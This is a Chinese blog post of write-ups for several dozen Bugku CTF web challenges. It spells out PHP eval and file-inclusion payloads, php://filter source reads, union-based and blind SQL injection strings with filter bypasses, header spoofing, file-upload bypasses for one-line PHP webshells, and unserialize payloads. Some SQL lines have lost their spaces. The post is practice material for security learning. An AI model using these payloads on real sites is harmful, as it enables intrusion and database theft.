美文网首页
2019-03-29

2019-03-29

作者: glotozz | 来源:发表于2019-03-29 17:51 被阅读0次

    Bugku-WEB

    1、web2

    查看源代码,在url前面加上view-source:,搜索flag即可

    2、计算器

    发现一个输入框,但是限制了输入长度,当然这是可以绕过的(前端),可以用开发者工具修改input的maxlength属性,或者直接使用bp抓包改包。查看源代码,发现flag放在前端js中。。。

    3、web基础$_GET

    get传值,构造    ?what=flag

    4、web基础$_POST

    post传值、使用firefox的hackbar,构造 what=flag

    5、矛盾

    get传值,绕过is_numeric(),直接构造    ?num=1xx

    在php中 == 判断时当数字与字符串作比较时,系统会先将字符串转化为数字,再与数字进行比较。所以1xx转化为1。同理的还有 in_array(‘abc’,[0,1,2])===true 比较时会使用弱等于(’abc’==0)

    6、web3

    查看源代码,在最后发现一串HTML十进制编码,用&和#作为前缀,中间为十进制数字,使用半角分号(;)作为后缀,其中后缀也可以没有。类似的还有十六进制,则使用&#x5a,比十进制多了个x。

    http://www.convertstring.com/zh_CN/EncodeDecode/HtmlDecode在线解码

    <!--&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;-->

    得到flag

    7、域名解析

    听说把 flag.baidu.com 解析到123.206.87.240 就能拿到flag

    在hosts文件中添加123.206.87.240  flag.baidu.com即可

    原理:https://zhidao.baidu.com/question/1772371256369572340.html

    https://blog.csdn.net/gui951753/article/details/83070180

    8、你必须让他停下

    发现页面一直在刷新,查看其源代码也一直在改变,抓包查看每一个页面。

    第一次flag is here,第二次就出现了flag{xxxxxx} 

    9、本地包含

    第一行说明存在flag.php文件,猜测flag也在里面。第二行从全局说明$a可以通过get传值,因为_REQUEST中的变量通过GET、POST、COOKIE输入机制传递给脚本文件

    第三行说明可以利用eval的命令执行漏洞

    方法一:?hello=1);show_source(%27flag.php%27);var_dump(3

    方法二:?hello=1);include $_POST['f'];//

    在POST区域:f=php://filter/convert.base64-encode/resource=flag.php

    方法三:?hello=get_file_contents('flag.php')或者?hello=file('flag.php')

    参考:https://blog.csdn.net/dyw_666666/article/details/82389457

    10、变量一

    根据提示flag In the variable !

    又有eval("var_dump($$args);");

    可以使用超全局变量GLOBALS打印所有变量

    构造 ?args=GLOBALS

    11、web5

    提示jspfuck,查看源代码,发现一段jother编码,放入google的console即可,要把最外面的括号也一起放入。

    12、头等舱

    页面和源代码都没有啥有用的信息,抓包试试,在Response中发现flag

    13、网站被黑

    页面和源代码都没有啥有用的信息,抓包试试,无果。

    用御剑扫描网站,发现shell.php,需要输入密码。

    没有提示,只能爆破

    利用bp(professional)的intruder模块,添加password list,开始爆破

    所以密码是hack,输入得到flag

    14、管理员系统

    是一个登录页面,随便输入用户密码,提示IP禁止访问,请联系本地管理员登陆,IP已被记录。

    查看源代码,在最下面发现一段base64编码,解码得到test123,猜测是密码,用户名应该是admin。

    bp抓包,添加X-Forwarded-For:127.0.0.1

    send即可得到flag

    15、web4

    提示:看看源代码把。

    查看源代码,发现一段js代码,

    根据代码在线解密https://escape.supfree.net/

    利用notepad++的JSTools插件的JSFormat功能美化js代码,得到

    根据if条件在输入框输入67d70。。。,得到flag

    16、flag在index里

    首页只有一个超链接,点击跳转到http://123.206.87.240:8005/post/index.php?file=show.php,猜测是本地包含。

    御剑扫描,无果

    尝试flag.php,发现页面没有报错,但是没有显示,于是使用base64编码的方式读取,还是没有,突然看到题目“flag在index里”,构造?file=php://filter/convert.base64-encode/resource=index.php

    base64解码得到flag

    17、输入密码查看flag

    只有一个密码框,提示是五位数,bp爆破即可。

    bp的intruder的payload type的number,10000 - 99999 ,step为1

    得到

    输入13579得到flag

    18、点击一百万次

    提示:JavaScript,查看源代码是一段js代码,会提交form表单,传clicks值,

    需要点击一百万次,直接抓包修改clicks,发现不行。。。

    利用hackerbar post传值可以。。。

    直接抓包

    post传值

    好吧,差挺多的,不能单纯修改GET和添加clicks=1000001,以后要修改为POST传值先利用hackbar构造一个header

    19、备份是个好习惯

    页面只有一串奇怪的字符串。

    标题感觉是提示bak文件,御剑扫描,只有index.php,在后面加上.php,类似的还有.index.html.swp

    下载了bak文件,得到index.php源码

    md5碰撞,两个都为0e开头,https://www.cnblogs.com/Primzahl/p/6018158.html

    构造 ?kekeyy1=s878926199a&kekeyy2=s155964671a

    得到flag

    20、成绩单

    sql注入。

    判断闭合方式

    输入1,返回成绩,输入1',返回为空,猜测是单引号闭合,输入1",返回成绩

    输入1'#,返回成绩,说明#可以注释

    判断字段数 

    1' order by 4#返回结果

    1' order by 5#返回为空,说明字段数为4

    判断回显处

    -1' union select 1,2,3,4 #,发现全部回显

    1、查库

    -1' union select database(),2,3,4 #

    得到 skctf_flag

    2、查表

    -1' union select table_name,2,3,4 from information_schema.tables where table_schema="skctf_flag" #

    得到 fl4g

    where条件中要加引号。

    3、查列名

    -1' union select column_name,2,3,4 from information_schema.columns where table_name="fl4g" #

    得到 skctf_flag

    4、查flag

    -1' union select skctf_flag,2,3,4 from fl4g#

    其中表名fl4g和列名不能带引号。

    21、秋名山老司机

    py脚本

    要我们在2s内计算表达式并post传值,只能通过脚本才行。

    代码

    22、速度要快

    py代码

    抓包,发现Response中有一个flag,两次base64解码

    23、cookies欺骗

    页面有一串看不懂的字符串,url有点说法。

    line=&filename=a2V5cy50eHQ=

    a2V5cy50eHQ=    解码为keys.txt

    修改filename为flag.txt(无果),flag.php(无果),index.php(有了)

    line表示哪一行,写一个脚本。

    要加上http://,在浏览器中可以不加http://,因为浏览器会自动帮你加上

    得到index.php源代码

    if(in_array($file, $file_list)),所以要先加cookie

    利用firefox的Modify Headers增加cookie,同时将filename改为keys.php

    查看源代码得到flag

    24、never give up

    查看源代码,发现1p.html

    访问123.206.87.240:8006/test/1p.html,发现被重定向

    于是在前面加上view-source:

    得到

    unescape解码

    看见"==",base64解码

    再unescape解码

    访问f412a3g.txt直接得到flag,或者根据php代码构造条件

    1、if(!$_GET['id'])以及id==0

    需要构造$id="0dasd"

    2、data = file_get_contents($a,'r')

    可以利用php://input,该文件内容为post值

    3、strlen($b)>5 and eregi("111",substr($b,0,1),"1114") and substr($b,0,1)!=4

    eregi可用%00绕过

    构造?id=0dasdasd&a=php://input&b=%001111111

    post值为bugku is a nice plateform!

    25、welcome to bugkuctf

    查看源代码,得到

    base64解码得到

    index.php的源码肯定没有给全,再查看index.php的源码。

    index.php:

    1、传入的文件名中不能存在包含flag

    2、包含$file

    2、对password进行反序列化,并echo password

    hint.php:

    1、提示flag.php,说明flag在flag.php中

    2、存在魔术方法toString(),与index.php中的echo对应

    3、会echo file_get_contents($this->file),一切都解决了。

    password反序列化代码

    构造?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

    post:welcome to the bugkuctf

    26、过狗一句话

    hint:

    这段代码就相当于assert($_GET[‘s’]);

    assert 和 eval 会把字符串当成php代码来执行。

    尝试:

    s=phpinfo()

    s=var_dump($GLOBALS)

    正解:

    s=print_r(scandir('./'));

    27、字符?正则

    代码中出现的符号说明:

    .匹配任意除换行符"\n"外的字符

    *匹配前一个字符0次或者多次

    {} {m}匹配前一个字符m次,{m,n}匹配前一个字符m至n次,若省略n,则匹配m至无限次

    []字符集。对应的位置可以是字符集中任意字符。字符集中的字符可以逐个列出,也可以给出范围,如[abc]或[a-c]。[^abc]表示取反,即非abc。

    ()被括起来的表达式将作为分组,从表达式左边开始没遇到一个分组的左括号“(”,编号+1.分组表达式作为一个整体,可以后接数量词。表达式中的|仅在该组中有效。

    [:punct:]代表标点符号(punctuation symbol),亦即:" ' ? ! ; : $...

    /i表示不分大小写

    直接构造?id=keykeyppppkey:/p/keya:

    居然不行,发现最后的#改成除了#都可以。。。。。。。。。。。醉了

    28、前女友(SKCTF)

    strcmp数组绕过,md5数组绕过。。。

    构造 ?v1[]=1&v2[]=2&v3[]=3

    29、login1(SKCTF)

    hint:sql约束攻击

    约束SQL注入的原理就是利用的约束条件,比如最长只能有2个字符的话,如果你输入scl,数据库中存的是sc,那么别人用sc注册一个用户名,就可以登陆。

    还有一个可以利用的地方就是SQL在执行字符串处理的时候是会自动修剪掉尾部的空白符的,也就是说"scl"=="scl ",同样我们可以通过注册用户名为"scl "的账号来登陆"scl"的账号。

    参考:https://blog.csdn.net/destiny1507/article/details/82900421

    此题注册"admin ",登录得到flag

    30、你从哪里来

    are you from google?

    猜测修改referer

    使用bp抓包改包,headers添加

    referer:https://www.google.com

    注意是https://

    得到flag

    31、md5 collision(NUPT_CTF)

    题目是md5碰撞,然后提示please input a

    md5碰撞,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行 所以a的md5值也要为0eXXXXXXXXX。

    32、程序员本地网站

    请从本地访问!

    bp抓包改包,headers添加

    x-forwarded-for:127.0.0.1

    得到flag

    33、各种绕过

    1、urldecode()二次编码绕过

    2、sha1()数组绕过

    构造?id=%256D%2561%2572%2567%2569%256E&uname[]=1

    post:passwd[]=2

    得到flag

    34、web8

    1、extract()函数变量覆盖漏洞,但是这里好像用不到

    2、file_get_contents($fn),使用php://input绕过

    构造 ?ac=1&fn=php://input

    post:1

    得到flag

    35、细心

    提示:想办法变成admin

    没啥线索,御剑扫描,扫到robots.txt

    robots中提示:http://123.206.87.240:8002/web13/resusl.php

    根据提示,想办法变成admin

    构造 ?x=admin

    得到flag

    36、求getshell

    文件上传

    提示:My name is margin,give me a image file not a php

    bp抓包改包,

    上传a.php,

    1、修改Content-Type: image/jpeg

    2、修改Content-Type: mUltipart

    3、修改 filename="a.php"

    成功上传,但是被重命名为jpg,无法用菜刀连

    4、尝试修改后缀名,php2, php3, php4, php5,phps, pht, phtm, phtml之后,发现只有php5可以绕过

    得到flag

    后来想着能不能用图片马,copy a.png/b+1.php yjh.png

    上传成功,post:pass=phpinfo();

    但是提示405 Not Allowed。。。

    估计可能是静态页面<img src=。。。

    37、INSERT INTO注入

    提示:

    x-forwarded-for为注入点,因为bool盲注没有错误回显,所以采用时间盲注,$ip_arr=explode(',',$ip);过滤了逗号

    case when exp1 then sleep(4) else 1 end

    查表名的代码:

    注意,str1两边要加上引号''

    38、这是一个神奇的登陆框

    简单的sql注入

    bp抓包

    1、查字段数

    admin_name=amsoasod" order by 3#&admin_passwd=aaaa&submit=GO+GO+GO

    得到 Unknown column '3' in 'order clause'

    2、admin_name=amsoasod" union select 1,2 %23&admin_passwd=aaaa&submit=GO+GO+GO

    发现只返回了一个 1,说明是回显第一个字段

    3、admin_name=amsoasod" unionselectdatabase(),2%23&admin_passwd=aaaa&submit=GO+GO+GO

    4、admin_name=amsoasod" union select table_name,2frominformation_schema.tables wheretable_schema='bugkusql1'%23&admin_passwd=aaaa&submit=GO+GO+GO

    5、admin_name=amsoasod" union select column_name,2frominformation_schema.columns wheretable_name='flag1'%23&admin_passwd=aaaa&submit=GO+GO+GO

    6、admin_name=amsoasod" union select flag1fromflag1 %23&admin_passwd=aaaa&submit=GO+GO+GO

    39、多次

    异或注入

    ?id=1'^(length('union')!=0)%23

    首先,异或同为0,不同为1。如果页面出现错误,说明id=0,可推断0^(length('union')!=0)为0,所以length('union')!=0,说明没有被过滤

    通过以上的方法我们可以找到所有被过滤的字符 select union or and 而limit和from没有被过滤

    notes: '1'会被转化为0

    2、开始注入,测字段数

    ?id=1' oorrderby2%23?id=1' oorrderby2--+

    notes: 不能用'#',bp抓包发现被改为%20。

    3、测库名

    ?id=-1' ununionion seselectlect1,database() %23

    得到 web1002-1

    4、测表名

    ?id=-1' ununionion seselectlect 1,group_concat(table_name)frominfoorrmation_schema.tables wheretable_schema='web1002-1'%23

    得到flag1

    5、测字段名

    ?id=-1' ununionion seselectlect 1,group_concat(column_name)frominfoorrmation_schema.columns wheretable_name='flag1'%23

    得到flag1

    查flag

    ?id=-1' ununionion seselectlect1,flag1 from flag1 %23

    得到flag

    40、PHP_encrypt_1(ISCCCTF)

    目测是解码,自己写个解密脚本

    41、文件包含2

    打开页面发现显示不出来,查看源码有一个注释"upload.php" 打开upload.php,出现了上传文件。

    上传一句话木马

    <script language=php>system("ls")</script>

    <script language=php>system("cat 访问的文件名.txt")</script>

    后用菜刀连

    42、flag.php

    提示:hint

    构造 ?hint=1

    得到

    key的初值为"",添加 cookie:ISecer=s:0:"";

    43、sql注入2

    1、解题思路:

    1)随便输入了几个用户名,返回用户名不存在,并没有对密码进行检验。

    那我们可以猜测是先查找用户名,如果存在,再验证密码。

    2)尝试admin用户名,返回密码错误,说明该用户名存在。然后试试在admin后加上单引号,但是返回是用户名不存在,这意味着什么呢?这说明即使语法错误,也不会在页面上显示报错信息。也就不能使用报错注入了,我们发现有两种返回信息:username does not exist!和password error!,那我们可以利用这两个返回值进行布尔盲注。

    3)猜测后台的验证:

    $sql= select *from users whereusername=$username;

    如果我们在where语句的结尾加上一个and连接的布尔判断语句,就可以根据返回值判断where条件是否成立,比如这道题就可以尝试补成

    whereusername=’admin’and(substring(database(),1,1)=’a’)#

    如果返回值是password error,那么就说明where语句是成立的,那么我们补充的那就也是成立的,那么就可以确定数据库的第一位是a,然后再猜测第二位。

    4)但是这道题过滤了and!!!

    尝试加上and返回:

    illegal character!!@_@

    经过尝试发现还过滤了空格,逗号,等号,for,井号 空格用括号代替,等号用<>(一种不等号)代替

    5) 法一:

    select*fromuserswhereusername ='admin'^(ascii(mid(database()from(1)))<>98)^1#';

    payload:

    uname=admin'^(ascii(mid(database()from(1)))<>98)^1-'&passwd=admin

    返回: password error!!@_@

    为了绕过空格过滤,用括号隔开,过滤了等号,用不等号 <>代替,只要是布尔值就可以。mid()函数和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx,from 1 for 1)但是这里过滤了for和逗号,那么怎么办呢?

    这里用到了ascii()取ascii码值的函数,如果传入一个字符串那么就会取第一个字符的字符的ascii码值,这就有了for 的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,我们将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取。

    每个字符的ascii码判断是不是不等于给定的数字,会得到一个布尔值(0或1)再与结尾的0进行运算。

    如果数据库名的第一位的ascii码值不是97,where条件是username=’admin’ ^ 1 ^ 0

    返回值是username does not exist!

    如果数据库名的第一位的ascii码值是97,where条件是username=’admin’ ^ 0 ^ 0

    返回值会是password error! 这就构成了布尔报错注入。

    6) 法二:

    先反转 REVERSE(MID((passwd)from(-%d)) 再去最后一位 mid(REVERSE(MID((passwd)from(%-d)))from(-1)) 在比较ASCII ascii(mid(REVERSE(MID((passwd)from(%-d)))from(-1)))>1

    mysql测试:

    select*fromuserswhereusername ='admin'-ascii(mid(REVERSE(mid((password)from(-1)))from(-1)))<1-''

    notes: 'admin'转化为0,所以当ascii(mid(REVERSE(mid((password)from(-1)))from(-1)))=98 成立时总值为-1,从而输出

    usernameerror!!@_@

    即第一位是'b'

    py代码:

    44、孙xx的博客

    参考链接:https://blog.csdn.net/u011377996/article/details/79340100


    45、Trim的日记本

    御剑扫描。show.php中得到flag。。。

    46、login2(SKCTF)

    bp抓包,发现Response中有一个tips,base64解码得到

    构造 username='union select '0CC175B9C0F1B6A831C399E269772661'#&password=a

    但是不知道为啥登不进去。。。。

    参考网址:https://www.cnblogs.com/blili/p/9045280.html

    47、login3(SKCTF)

    尝试用户名,显示 username does not exist!

    使用admin时,显示 password error!

    判断注入点为username

    bool盲注,

    过滤了好多:and ----- 所以只能用 ^

    substr可用、

    1、查库名的长度

    admin'^(length(database())<>7)^1-'

    返回username does not exist! 即说明长度正确

    2、爆库名

    爆列名,发现过滤了information。。。。

    猜测admin表,password字段。。。。


    找了好几个md5解密网站,只有这个免费 https://www.somd5.com/ 

    md5解密得到password,登录得到flag

    48、文件上传2(湘湖杯)

    1、尝试

    op=index.php 提示我们不存在这样的页面,但事实是存在的

    op=index 没有出现提示 但页面是空的 

    op=php://filter/read=convert.base64-encode/resource=index

    2、得到

    2、

    通过这个分析,大概懂了为什么文件加.php提醒没有此页面的原因。通过御剑后台扫描扫描出后台的信息,有flag.php页面,则

    构造 ?op=php://filter/read=convert.base64-encode/resource=flag

    则获得flag的base64加密后的数据,进行解密,获得flag。

    49、login4

    hint:CBC字节翻转攻击

    参考网址:https://blog.csdn.net/zpy1998zpy/article/details/80684485

     下载.注意最前面有个店文件http://123.206.31.85:49168/.index.php.swp

    注意index前面有个点

    代码有点混乱。。

    可以看出我们传入的用户名和密码是经过序列化的,那我们将用户名admik,密码123序列化后再进行攻击,序列化后:

    s:2:{s:8:”username”;s:5:”admik”;s:8:”password”;s:3:”123″;}

    未完待续。

    相关文章

      网友评论

          本文标题:2019-03-29

          本文链接:https://www.haomeiwen.com/subject/qzdrbqtx.html